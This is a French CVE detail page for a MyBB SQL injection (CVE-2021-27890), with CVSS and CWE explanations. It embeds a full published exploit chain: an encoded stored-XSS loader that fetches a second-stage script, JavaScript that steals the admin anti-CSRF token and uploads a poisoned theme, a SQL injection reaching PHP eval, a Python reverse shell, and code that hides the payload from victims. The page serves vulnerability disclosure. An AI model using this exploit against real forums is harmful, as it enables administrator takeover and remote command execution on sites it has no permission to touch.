CVE-2021-27890 : Détail

CVE-2021-27890

8.8
/
Haute
SQL Injection
A03-Injection
0.22%V3
Network
2021-03-15
16h04 +00:00
2021-08-20
16h17 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

SQL Injection vulnerablity in MyBB before 1.8.26 via theme properties included in theme XML files.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-89 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.1 8.8 HIGH CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

nvd@nist.gov
V2 6.8 AV:N/AC:M/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 49696

Date de publication : 2021-03-21 23h00 +00:00
Auteur : SivertPL
EDB Vérifié : No

# Exploit Title: MyBB 1.8.25 - Chained Remote Command Execution # Exploit Author: SivertPL (kroppoloe@protonmail.ch) # Date: 19.03.2021 # Description: Nested autourl Stored XSS -> templateset second order SQL Injection leading to RCE through improper string interpolation in eval(). # Software Link: https://resources.mybb.com/downloads/mybb_1825.zip # CVE: CVE-2021-27889, CVE-2021-27890 # Reference: https://portswigger.net/daily-swig/chained-vulnerabilities-used-to-take-control-of-mybb-forums # The exploit requires the target administrator to have a valid ACP session. # Proof of Concept Video: https://www.youtube.com/watch?v=xU1Y9_bgoFQ # Guide: 1) In order to escape various checks, the XSS has to download this .js file from an external server, and then execute it. Please replace the source of the following script node with an URL pointing to the second stage .js file (this file) to be downloaded by the target. document.write('<script src=http://localhost:8000/second_stage.js></script>'); 2) Please encode the aforementioned JS payload with String.fromCharCode, to achieve constraint-less JavaScript execution environment. You can use this website: https://eve.gd/2007/05/23/string-fromcharcode-encoder/ 3) Put the resulting encoded payload in the nested autourl vulnerability vector: [img]http://xyzsomething.com/image?)http://x.com/onerror=<FCC ENCODED PAYLOAD>;//[/img] 4) The final payload should look like this: [img]http://xyzsomething.com/image?)http://x.com/onerror=eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,108,111,99,97,108,104,111,115,116,58,56,48,48,48,47,119,111,114,109,46,106,115,62,60,47,115,99,114,105,112,116,62,39,41,59));//[/img] 5) Send the full vector to the target, either by private message, a post, or any other place where MyCode (BBCode) is supported. Once the target's browser renders the page, the XSS vulnerability will fire and download & execute the second stage payload from the website specified above, using document.write() to 'bypass' SOP. After the execution of the payload, you should receive a reverse shell, provided the admin has a valid ACP session. 6) Enjoy your RCE! For educational purposes only. const REVERSE_SHELL_IP = "localhost"; const REVERSE_SHELL_PORT = 5554; const PAYLOAD_XML_NAME = "payload"; const PAYLOAD_XML_VERSION = "1821"; const XML_PROLOG = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>"; const SHELL_PAYLOAD = "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"" + REVERSE_SHELL_IP + "\"," + REVERSE_SHELL_PORT + "));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'" const SQL_PAYLOAD = "') AND 1=0 UNION SELECT title, '${passthru(base64_decode(\\'" + btoa(SHELL_PAYLOAD) + "\\'))}' from mybb_templates -- "; // Trigger the actual vulnerability, force cache reload. // Stage: Final function trigger() { var request = new XMLHttpRequest(); request.open('GET', '/index.php'); request.send(); } // Poison the cache. // Stage: 6 function set_as_default(token, tid) { var request = new XMLHttpRequest(); request.open('GET', '/admin/index.php?module=style-themes&action=set_default&tid=' + tid + '&my_post_key=' + token); request.onload = function() { trigger(); }; request.send(); } // Get the TID of the downloaded theme payload // Stage: 5 function get_payload_tid(token) { var request = new XMLHttpRequest(); request.open('GET', '/admin/index.php?module=style-themes'); request.responseType = "document"; request.onload = function() { var response = request.response; var aTags = response.getElementsByTagName("a"); var searchText = "payload"; var found; for (var i = 0; i < aTags.length; i++) { if (aTags[i].textContent == searchText) { found = aTags[i]; break; } } var href = found.getAttribute("href"); var urlParams = new URLSearchParams(href); var tid = urlParams.get("tid"); set_as_default(token, tid); }; request.send(); } // We pass the actual request to upload the template exploiting the second link of the exploit chain // Stage: 4 function upload_template(token) { var request = new XMLHttpRequest(); request.open('POST', '/admin/index.php?module=style-themes&action=import'); var data = new FormData(); data.append('my_post_key', token); data.append('local_file', build_payload(), PAYLOAD_XML_NAME + ".xml"); data.append('import', 0); data.append('url', ''); data.append('tid', '1'); data.append('name', "payload"); data.append("version_compat", 1); data.append("import_stylesheets", 1); data.append("import_templates", 1); request.onload = function() { // After uploading the template, set it as default to poison the cache get_payload_tid(token) }; request.send(data); } // Build the rogue XML Template exploiting SQL Injection leading to RCE through PHP evaluation. // Stage: 3 function build_payload() { var xmlDom = document.implementation.createDocument("", "", null); var theme = xmlDom.createElement("theme"); theme.setAttribute("name", PAYLOAD_XML_NAME); theme.setAttribute("version", PAYLOAD_XML_VERSION); var properties = xmlDom.createElement("properties"); theme.appendChild(properties); var template_set = xmlDom.createElement("templateset"); template_set.innerHTML = SQL_PAYLOAD; properties.appendChild(template_set); xmlDom.appendChild(theme); var serialized = new XMLSerializer().serializeToString(xmlDom); var result = XML_PROLOG + serialized; var file = new File([result], PAYLOAD_XML_NAME); return file; } // Acquire the anti-CSRF token // Stage: 2 function acquire_token(request) { var response = request.response; var token = response.getElementsByName("my_post_key")[0].value; if(token == null) { /* ACP Session either expired or wasn't established to begin with */ return; } // We have acquired the anti-CSRF token now. upload_template(token); } // ACP Code Execution // Stage: 1 function exec_acp() { var request = new XMLHttpRequest(); request.open('GET', 'admin/index.php?module=style-themes&action=import'); request.responseType = "document"; request.onload = function() { acquire_token(request); }; request.send(); } // We hide the payload, to raise less suspicions // Stage: 0 function hide() { var getAll = document.querySelectorAll("[src*='http://xyzsomething.com/image?)<a href=']"); getAll.forEach(element => { var pNode = element.parentNode.innerText="lmao whatever you say"; }); } // Entry point of the exploit function start() { hide(); exec_acp(); } start();

Products Mentioned

Configuraton 0

Mybb>>Mybb >> Version To (excluding) 1.8.26

Références